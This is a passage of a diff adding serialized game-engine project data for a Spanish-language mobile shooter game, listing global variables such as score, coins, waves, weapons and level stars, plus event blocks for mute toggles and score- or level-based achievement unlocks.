+ "Friends",
+ 0,
+ 0,
+ false,
+ false,
+ 259191465987146,
+ false
+ ],
+ [
+ 1,
+ "Trick6",
+ 0,
+ 0,
+ false,
+ false,
+ 950921275441254,
+ false
+ ],
+ [
+ 1,
+ "Trick5",
+ 0,
+ 0,
+ false,
+ false,
+ 244951681647045,
+ false
+ ],
+ [
+ 1,
+ "Trick4",
+ 0,
+ 0,
+ false,
+ false,
+ 625089256847064,
+ false
+ ],
+ [
+ 1,
+ "Trick3",
+ 0,
+ 0,
+ false,
+ false,
+ 462470617944803,
+ false
+ ],
+ [
+ 1,
+ "Trick2",
+ 0,
+ 0,
+ false,
+ false,
+ 731247870721721,
+ false
+ ],
+ [
+ 1,
+ "Trick1",
+ 0,
+ 0,
+ false,
+ false,
+ 223413332074960,
+ false
+ ],
+ [
+ 1,
+ "Gorros",
+ 0,
+ 0,
+ false,
+ false,
+ 890624269585273,
+ false
+ ],
+ [
+ 1,
+ "carros",
+ 0,
+ 0,
+ false,
+ false,
+ 216260909251601,
+ false
+ ],
+ [
+ 1,
+ "cohete",
+ 0,
+ 0,
+ false,
+ false,
+ 213747653240586,
+ false
+ ],
+ [
+ 1,
+ "Ruedas",
+ 0,
+ 0,
+ false,
+ false,
+ 958578878217532,
+ false
+ ],
+ [
+ 1,
+ "running",
+ 0,
+ 1,
+ false,
+ false,
+ 742303467730360,
+ false
+ ],
+ [
+ 1,
+ "totalmoney",
+ 0,
+ 0,
+ false,
+ false,
+ 416859464247171,
+ false
+ ],
+ [
+ 1,
+ "collectedmoney",
+ 0,
+ 0,
+ false,
+ false,
+ 514131374956826,
+ false
+ ],
+ [
+ 1,
+ "altura",
+ 0,
+ 0,
+ false,
+ false,
+ 970232186914991,
+ false
+ ],
+ [
+ 1,
+ "Etapa1",
+ 0,
+ 0,
+ false,
+ false,
+ 973665228721664,
+ false
+ ],
+ [
+ 1,
+ "paused",
+ 0,
+ 0,
+ false,
+ false,
+ 845002064200377,
+ false
+ ],
+ [
+ 1,
+ "personas",
+ 0,
+ 0,
+ false,
+ false,
+ 417675122983218,
+ false
+ ],
+ [
+ 1,
+ "rainblood",
+ 0,
+ 0,
+ false,
+ false,
+ 403788158593938,
+ false
+ ],
+ [
+ 1,
+ "startgame",
+ 0,
+ 0,
+ false,
+ false,
+ 527122231785200,
+ false
+ ],
+ [
+ 1,
+ "Healthblood",
+ 0,
+ 320,
+ false,
+ false,
+ 648499218952014,
+ false
+ ],
+ [
+ 1,
+ "w5c",
+ 0,
+ 0,
+ false,
+ false,
+ 872741912962760,
+ false
+ ],
+ [
+ 1,
+ "w4c",
+ 0,
+ 0,
+ false,
+ false,
+ 488455594642087,
+ false
+ ],
+ [
+ 1,
+ "w3c",
+ 0,
+ 0,
+ false,
+ false,
+ 458648691827958,
+ false
+ ],
+ [
+ 1,
+ "w2c",
+ 0,
+ 0,
+ false,
+ false,
+ 941092634158498,
+ false
+ ],
+ [
+ 1,
+ "w1c",
+ 0,
+ 0,
+ false,
+ false,
+ 172412282337244,
+ false
+ ],
+ [
+ 1,
+ "wave8complete",
+ 0,
+ 0,
+ false,
+ false,
+ 319011094267825,
+ false
+ ],
+ [
+ 1,
+ "wave7complete",
+ 0,
+ 0,
+ false,
+ false,
+ 477350663673036,
+ false
+ ],
+ [
+ 1,
+ "wave6complete",
+ 0,
+ 0,
+ false,
+ false,
+ 716682432147662,
+ false
+ ],
+ [
+ 1,
+ "wave5complete",
+ 0,
+ 0,
+ false,
+ false,
+ 121883801185294,
+ false
+ ],
+ [
+ 1,
+ "wave4complete",
+ 0,
+ 0,
+ false,
+ false,
+ 147668839865893,
+ false
+ ],
+ [
+ 1,
+ "wave3complete",
+ 0,
+ 0,
+ false,
+ false,
+ 345260267881925,
+ false
+ ],
+ [
+ 1,
+ "wave2complete",
+ 0,
+ 0,
+ false,
+ false,
+ 338343639954532,
+ false
+ ],
+ [
+ 1,
+ "wave1complete",
+ 0,
+ 0,
+ false,
+ false,
+ 405439112696987,
+ false
+ ],
+ [
+ 1,
+ "timecount",
+ 0,
+ 0,
+ false,
+ false,
+ 702277136159872,
+ false
+ ],
+ [
+ 1,
+ "agarre",
+ 0,
+ 0,
+ false,
+ false,
+ 430139527913265,
+ false
+ ],
+ [
+ 1,
+ "Distancia",
+ 0,
+ 0,
+ false,
+ false,
+ 947548200550436,
+ false
+ ],
+ [
+ 1,
+ "impulso",
+ 0,
+ 0,
+ false,
+ false,
+ 323595733749613,
+ false
+ ],
+ [
+ 1,
+ "Levelnumer",
+ 0,
+ 1,
+ false,
+ false,
+ 349052799532636,
+ false
+ ],
+ [
+ 1,
+ "slash",
+ 0,
+ 0,
+ false,
+ false,
+ 506867155450096,
+ false
+ ],
+ [
+ 1,
+ "tutorial",
+ 0,
+ 0,
+ false,
+ false,
+ 759352430005864,
+ false
+ ],
+ [
+ 1,
+ "LevelStar",
+ 0,
+ 0,
+ false,
+ false,
+ 278564430013111,
+ false
+ ],
+ [
+ 1,
+ "Levelunlocker",
+ 0,
+ 1,
+ false,
+ false,
+ 228863431325877,
+ false
+ ],
+ [
+ 1,
+ "deaths",
+ 0,
+ 0,
+ false,
+ false,
+ 872062017893408,
+ false
+ ],
+ [
+ 1,
+ "swipeinicioy",
+ 0,
+ 0,
+ false,
+ false,
+ 617797658375636,
+ false
+ ],
+ [
+ 1,
+ "swipedistanty",
+ 0,
+ 0,
+ false,
+ false,
+ 783362761120248,
+ false
+ ],
+ [
+ 1,
+ "swipeiniciox",
+ 0,
+ 0,
+ false,
+ false,
+ 820517709517500,
+ false
+ ],
+ [
+ 1,
+ "swipedistanx",
+ 0,
+ 0,
+ false,
+ false,
+ 860667608261685,
+ false
+ ],
+ [
+ 1,
+ "slide",
+ 0,
+ 0,
+ false,
+ false,
+ 217788100239219,
+ false
+ ],
+ [
+ 1,
+ "ads",
+ 0,
+ 0,
+ false,
+ false,
+ 690749095651097,
+ false
+ ],
+ [
+ 1,
+ "shotsleft",
+ 0,
+ 0,
+ false,
+ false,
+ 894318819192292,
+ false
+ ],
+ [
+ 1,
+ "Timeleft",
+ 0,
+ 0,
+ false,
+ false,
+ 891643209461396,
+ false
+ ],
+ [
+ 1,
+ "shooting",
+ 0,
+ 0,
+ false,
+ false,
+ 449501335345217,
+ false
+ ],
+ [
+ 1,
+ "endlevel",
+ 0,
+ 0,
+ false,
+ false,
+ 385835211911913,
+ false
+ ],
+ [
+ 1,
+ "Combos",
+ 0,
+ 0,
+ false,
+ false,
+ 138267013718714,
+ false
+ ],
+ [
+ 1,
+ "weapons",
+ 0,
+ 1,
+ false,
+ false,
+ 818986066076488,
+ false
+ ],
+ [
+ 1,
+ "activewalk",
+ 0,
+ 0,
+ false,
+ false,
+ 332397938140504,
+ false
+ ],
+ [
+ 1,
+ "activeshot",
+ 0,
+ 0,
+ false,
+ false,
+ 358930255280382,
+ false
+ ],
+ [
+ 1,
+ "estado",
+ 0,
+ 0,
+ false,
+ false,
+ 920744541401931,
+ false
+ ],
+ [
+ 1,
+ "banner",
+ 0,
+ 0,
+ false,
+ false,
+ 154158735732444,
+ false
+ ],
+ [
+ 1,
+ "levelunlock",
+ 0,
+ 1,
+ false,
+ false,
+ 945498224446808,
+ false
+ ],
+ [
+ 1,
+ "Level",
+ 0,
+ 1,
+ false,
+ false,
+ 615195260528641,
+ false
+ ],
+ [
+ 1,
+ "endstars",
+ 0,
+ 0,
+ false,
+ false,
+ 813419052353370,
+ false
+ ],
+ [
+ 1,
+ "globalStars",
+ 0,
+ 0,
+ false,
+ false,
+ 928391547296480,
+ false
+ ],
+ [
+ 1,
+ "level20star",
+ 0,
+ 0,
+ false,
+ false,
+ 873551720068940,
+ false
+ ],
+ [
+ 1,
+ "level19star",
+ 0,
+ 0,
+ false,
+ false,
+ 984165380909356,
+ false
+ ],
+ [
+ 1,
+ "level18star",
+ 0,
+ 0,
+ false,
+ false,
+ 185900681766940,
+ false
+ ],
+ [
+ 1,
+ "level17star",
+ 0,
+ 0,
+ false,
+ false,
+ 164326981632899,
+ false
+ ],
+ [
+ 1,
+ "level16star",
+ 0,
+ 0,
+ false,
+ false,
+ 110079286451580,
+ false
+ ],
+ [
+ 1,
+ "level15star",
+ 0,
+ 0,
+ false,
+ false,
+ 429152793950657,
+ false
+ ],
+ [
+ 1,
+ "level14star",
+ 0,
+ 0,
+ false,
+ false,
+ 873182294460269,
+ false
+ ],
+ [
+ 1,
+ "level13star",
+ 0,
+ 0,
+ false,
+ false,
+ 132565701303709,
+ false
+ ],
+ [
+ 1,
+ "level12star",
+ 0,
+ 0,
+ false,
+ false,
+ 955425263216193,
+ false
+ ],
+ [
+ 1,
+ "level11star",
+ 0,
+ 0,
+ false,
+ false,
+ 278412049575514,
+ false
+ ],
+ [
+ 1,
+ "level10star",
+ 0,
+ 0,
+ false,
+ false,
+ 109508803260929,
+ false
+ ],
+ [
+ 1,
+ "level9star",
+ 0,
+ 0,
+ false,
+ false,
+ 985158854507407,
+ false
+ ],
+ [
+ 1,
+ "level8star",
+ 0,
+ 0,
+ false,
+ false,
+ 480493527376668,
+ false
+ ],
+ [
+ 1,
+ "level7star",
+ 0,
+ 0,
+ false,
+ false,
+ 480757125138100,
+ false
+ ],
+ [
+ 1,
+ "level6star",
+ 0,
+ 0,
+ false,
+ false,
+ 180961620847970,
+ false
+ ],
+ [
+ 1,
+ "level5star",
+ 0,
+ 0,
+ false,
+ false,
+ 191253357056813,
+ false
+ ],
+ [
+ 1,
+ "level4star",
+ 0,
+ 0,
+ false,
+ false,
+ 451734625762062,
+ false
+ ],
+ [
+ 1,
+ "level3star",
+ 0,
+ 0,
+ false,
+ false,
+ 380922381148625,
+ false
+ ],
+ [
+ 1,
+ "level2star",
+ 0,
+ 0,
+ false,
+ false,
+ 537787482318271,
+ false
+ ],
+ [
+ 1,
+ "level1star",
+ 0,
+ 0,
+ false,
+ false,
+ 945498640880951,
+ false
+ ],
+ [
+ 1,
+ "enemiesleft",
+ 0,
+ 0,
+ false,
+ false,
+ 460933853559349,
+ false
+ ],
+ [
+ 1,
+ "Disparos",
+ 0,
+ 0,
+ false,
+ false,
+ 673436867639128,
+ false
+ ],
+ [
+ 1,
+ "dies",
+ 0,
+ 0,
+ false,
+ false,
+ 963765100502826,
+ false
+ ],
+ [
+ 1,
+ "headshots",
+ 0,
+ 0,
+ false,
+ false,
+ 556504523731061,
+ false
+ ],
+ [
+ 1,
+ "enemieskiller",
+ 0,
+ 0,
+ false,
+ false,
+ 507020094946356,
+ false
+ ],
+ [
+ 1,
+ "bk",
+ 0,
+ 1,
+ false,
+ false,
+ 808886655079564,
+ false
+ ],
+ [
+ 1,
+ "skin",
+ 0,
+ 1,
+ false,
+ false,
+ 636001192425653,
+ false
+ ],
+ [
+ 1,
+ "hit",
+ 0,
+ 0,
+ false,
+ false,
+ 668217371815401,
+ false
+ ],
+ [
+ 1,
+ "combo",
+ 0,
+ 0,
+ false,
+ false,
+ 808463595398711,
+ false
+ ],
+ [
+ 1,
+ "head2",
+ 0,
+ 0,
+ false,
+ false,
+ 528591140529314,
+ false
+ ],
+ [
+ 1,
+ "vida2",
+ 0,
+ 100,
+ false,
+ false,
+ 566653218772999,
+ false
+ ],
+ [
+ 1,
+ "head",
+ 0,
+ 0,
+ false,
+ false,
+ 764100739232717,
+ false
+ ],
+ [
+ 1,
+ "Live",
+ 0,
+ 100,
+ false,
+ false,
+ 342050014630895,
+ false
+ ],
+ [
+ 1,
+ "startingx",
+ 0,
+ 0,
+ false,
+ false,
+ 262516883975874,
+ false
+ ],
+ [
+ 1,
+ "startingy",
+ 0,
+ 0,
+ false,
+ false,
+ 193428852208365,
+ false
+ ],
+ [
+ 1,
+ "wave",
+ 0,
+ 1,
+ false,
+ false,
+ 882355509278485,
+ false
+ ],
+ [
+ 1,
+ "shop",
+ 0,
+ 0,
+ false,
+ false,
+ 718071400618480,
+ false
+ ],
+ [
+ 1,
+ "end",
+ 0,
+ 0,
+ false,
+ false,
+ 553546544927603,
+ false
+ ],
+ [
+ 1,
+ "gains",
+ 0,
+ 0,
+ false,
+ false,
+ 273141077442186,
+ false
+ ],
+ [
+ 1,
+ "recover",
+ 0,
+ 0,
+ false,
+ false,
+ 358066180111964,
+ false
+ ],
+ [
+ 1,
+ "power",
+ 0,
+ 0,
+ false,
+ false,
+ 800292786074316,
+ false
+ ],
+ [
+ 1,
+ "Levelpoints",
+ 0,
+ 0,
+ false,
+ false,
+ 802462633799612,
+ false
+ ],
+ [
+ 1,
+ "ice",
+ 0,
+ 0,
+ false,
+ false,
+ 750641279234990,
+ false
+ ],
+ [
+ 1,
+ "meteor",
+ 0,
+ 0,
+ false,
+ false,
+ 720823908692798,
+ false
+ ],
+ [
+ 1,
+ "rate2",
+ 0,
+ 0,
+ false,
+ false,
+ 350948916266421,
+ false
+ ],
+ [
+ 1,
+ "achas",
+ 0,
+ 0,
+ false,
+ false,
+ 447698943158527,
+ false
+ ],
+ [
+ 1,
+ "Slow",
+ 0,
+ 0,
+ false,
+ false,
+ 523805106607624,
+ false
+ ],
+ [
+ 1,
+ "shield",
+ 0,
+ 0,
+ false,
+ false,
+ 231964834288775,
+ false
+ ],
+ [
+ 1,
+ "shoot",
+ 0,
+ 0,
+ false,
+ false,
+ 724374182433512,
+ false
+ ],
+ [
+ 1,
+ "Coins",
+ 0,
+ 0,
+ false,
+ false,
+ 610065618445560,
+ false
+ ],
+ [
+ 1,
+ "Highscore",
+ 0,
+ 0,
+ false,
+ false,
+ 165162028896910,
+ false
+ ],
+ [
+ 1,
+ "Score",
+ 0,
+ 0,
+ false,
+ false,
+ 306838416181636,
+ false
+ ],
+ [
+ 1,
+ "GameOver",
+ 0,
+ 0,
+ false,
+ false,
+ 656086316272454,
+ false
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 334933743907504,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 412154877422065,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 988354925293413,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 746016746942352,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 383010714162762,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 235483131988767,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 219606409232048,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 483851108643003,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 462466338098035,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 188202437231418,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 404775273043867,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 219009387340736,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 574186035055115,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 670928025647387,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "weaponselected"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 118007635074687,
+ false,
+ [
+ [
+ 11,
+ "a2"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 832653650385694,
+ false,
+ [
+ [
+ 11,
+ "a2"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 213800850423555,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi2"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 868275912655432,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi223"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a2"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 179601777135444,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 724620414827261,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 783739550781979,
+ false,
+ [
+ [
+ 11,
+ "a4"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 628954926337781,
+ false,
+ [
+ [
+ 11,
+ "a4"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 950069066033000,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi4"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 510498546258055,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi423"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a4"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 501940277775736,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 698799940291296,
+ false,
+ [
+ [
+ 11,
+ "a3"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 926814359693392,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 184736846933070,
+ false,
+ [
+ [
+ 11,
+ "a3"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 685840856159121,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 885076750460443,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi323"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a3"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 783329238468339,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 701013247389655,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 629220159327498,
+ false,
+ [
+ [
+ 11,
+ "a5"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 849003792349538,
+ false,
+ [
+ [
+ 11,
+ "a5"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 262354968259352,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi5"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 351498995324644,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi523"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a5"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 201802685965682,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 789101785756095,
+ false,
+ [
+ [
+ 11,
+ "a6"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 291401913175545,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 8
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 708716620875010,
+ false,
+ [
+ [
+ 11,
+ "a6"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 529330576061585,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi6"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 302398423320671,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi623"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a6"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 928167575207149,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 900433305567210,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 8000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 355197186888668,
+ false,
+ [
+ [
+ 11,
+ "a7"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 130673775813680,
+ false,
+ [
+ [
+ 11,
+ "a7"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 279643924773810,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi7"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 638173703323494,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi723"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a7"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 841506594335551,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 149668931361334,
+ false,
+ [
+ [
+ 11,
+ "a8"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 728334771392407,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "weaponselected"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 616634114388000,
+ false,
+ [
+ [
+ 11,
+ "a8"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 964524859529089,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi8"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 449875508202215,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi823"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a8"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 550381971130639,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 173308152439263,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 20000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 982827717995669,
+ false,
+ [
+ [
+ 11,
+ "a9"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 137453920218576,
+ false,
+ [
+ [
+ 11,
+ "a9"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 518982564776941,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi9"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 824491367088365,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi923"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a9"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 481937946548531,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 318783487884402,
+ false,
+ [
+ [
+ 11,
+ "a10"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 280510580259324,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 12
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 482751875481477,
+ false,
+ [
+ [
+ 11,
+ "a10"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 401873018076098,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi10"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 416154078620226,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi1023"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a10"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 243565149954058,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 706535003369785,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 50000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 697369007764031,
+ false,
+ [
+ [
+ 11,
+ "a11"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 402633271558595,
+ false,
+ [
+ [
+ 11,
+ "a11"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
